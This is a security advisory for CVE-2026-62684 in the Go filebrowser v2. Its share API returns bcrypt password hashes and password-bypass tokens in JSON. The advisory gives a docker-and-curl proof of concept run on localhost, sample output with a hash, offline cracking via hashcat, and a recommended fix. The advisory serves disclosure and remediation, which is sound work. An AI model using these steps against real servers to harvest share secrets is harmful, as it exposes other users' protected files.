PT-2026-61811 · Go · Github.Com/Filebrowser/Filebrowser/V2

CVE-2026-62684 · Published 2026-07-20 · Updated 2026-07-20

OSV

CVSS v3.1

2.7

Low

Base vector

AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N

Summary

When a user creates a password-protected share or lists existing shares, the JSON response includes the full bcrypt password hash and the secret token of the share. The Link storage struct is serialized directly with json.Marshal and tags password hash and token for output, with no field filtering. Any authenticated user receives these secrets for their own shares, and an administrator listing all shares via GET /api/shares receives the password hash and bypass token for every user's shares, enabling offline cracking of share passwords and direct password-bypass access to protected shares.

Details

1. The Link struct serializes both secrets to JSON (share/share.go:10-19)

type Link struct {
  Hash     string `json:"hash" storm:"id,index"`
  Path     string `json:"path" storm:"index"`
  UserID    uint  `json:"userID"`
  Expire    int64 `json:"expire"`
  PasswordHash string `json:"password hash,omitempty"`  // line 15, bcrypt hash exposed
  // Token is only set when PasswordHash is set; it bypasses the password.
  Token    string `json:"token,omitempty"`      // line 19, bypass token exposed
}

omitempty means the hash and token are emitted whenever a share is password-protected, i.e. in every response for such a share.

2. The share handlers return the full struct through unfiltered json.Marshal

sharePostHandler returns the created Link with renderJSON(w, r, s) (http/share.go:179); shareListHandler and shareGetsHandler return shares the same way (http/share.go:55, http/share.go:76). renderJSON performs an unfiltered json.Marshal(data) (http/utils.go:16), so every tagged field, including password hash and token, reaches the client.

3. Administrators receive every user's secrets (http/share.go:36)

s, err = d.store.Share.All()  // admin path: returns ALL users' shares
// ...
return renderJSON(w, r, s)   // including each share's password hash and token

An admin calling GET /api/shares receives the bcrypt hash and bypass token for all shares across all users.

PoC

Tested against filebrowser/filebrowser:v2.63.15.

Attack Vector: read the bcrypt hash and bypass token from the share API:

#1. Seed a file in /tmp and start a fresh v2.63.15 container
mkdir -p /tmp/filebrowser-test/srv/user1
echo "hello" > /tmp/filebrowser-test/srv/user1/readme.txt
docker run -d --name filebrowser-test -p 8090:80 -v /tmp/filebrowser-test/srv:/srv filebrowser/filebrowser:v2.63.15 && sleep 4
B=http://localhost:8090

#2. Log in as admin
AP=$(docker logs filebrowser-test 2>&1 | grep -o 'password: .*' | awk '{print $2}')
T=$(curl -s -X POST $B/api/login -H 'Content-Type: application/json' -d "{"username":"admin","password":"$AP"}")

#3. Create a password-protected share
curl -s -X POST "$B/api/share/user1/readme.txt" -H "X-Auth: $T" -H 'Content-Type: application/json' 
   -d '{"password":"ShareSecret123!","expires":"24","unit":"hours"}'

#4. List shares (as admin this returns every user's shares, each with the bcrypt password hash and bypass token)
curl -s "$B/api/shares" -H "X-Auth: $T"

The returned bcrypt hash cracks offline (hashcat -m 3200) to recover the share password, and the token opens the protected share directly without the password.

Expected output (reproduced on a fresh filebrowser-test container, v2.63.15):

Both the POST /api/share/... response and the GET /api/shares response return HTTP 200 with a body that includes the full bcrypt password hash and the 128-character bypass token:

POST /api/share/user1/readme.txt  -> 200
GET /api/shares          -> 200
{
 "hash": "yy9159Cs",
 "path": "/user1/readme.txt",
 "userID": 1,
 "expire": 1781758642,
 "password hash": "$2a$10$SX2h.eKiqMaThRTJNIKVxeVkbXSbGf5XoU0ZX2frcAasjE4RbvBla",
 "token": "bO4YpOtayjDNG 72qYk6MHIIn0BNxskySLSAbinAkPcKZX6XD2rRrtDX8Bmro..."
}

The hash cracks offline to the known password (bcrypt.checkpw(b"ShareSecret123!", hash) == True, hashcat -m 3200), and the token grants direct access to the password-protected share without knowing the password.

Impact

• Offline password cracking: the bcrypt hash of every password-protected share is returned to clients; weak or reused share passwords can be recovered offline.
• Password-bypass token leak: the token is the value that bypasses the share password entirely; exposing it in list responses lets any holder of the response open the protected share directly.
• Admin sees everyone's secrets: GET /api/shares as an administrator returns the hash and token of every user's shares, broadening the exposure across all tenants.
• Credential reuse risk: users who reuse an account or service password as a share password expose that password to offline recovery.

Recommended Fix

Never serialize the hash or the bypass token to clients. Change the JSON tags so the secrets stay server-side:

// share/share.go
type Link struct {
  Hash     string `json:"hash" storm:"id,index"`
  Path     string `json:"path" storm:"index"`
  UserID    uint  `json:"userID"`
  Expire    int64 `json:"expire"`
  PasswordHash string `json:"-" storm:"index"`  // never serialize
  Token    string `json:"-"`         // never serialize in list responses
}

PasswordHash and Token are only needed server-side (for bcrypt.CompareHashAndPassword and token comparison during share authentication). If a client needs to know whether a share is password-protected, expose a derived HasPassword bool instead of the hash. Prefer a response DTO over serializing the storage struct directly so future field additions are not exposed by default.

Fix

Information Disclosure

Insufficiently Protected Credentials

Weakness Enumeration

CWE-200

CWE-522

Related Identifiers

CVE-2026-62684

GHSA-833G-CQHP-H72J

Affected Products

Github.Com/Filebrowser/Filebrowser/V2

References · 3

• https://osv.dev/vulnerability/GHSA-833g-cqhp-h72j · Vendor Advisory
• https://github.com/filebrowser/filebrowser/security/advisories/GHSA-833g-cqhp-h72j · Note
• https://github.com/filebrowser/filebrowser · Note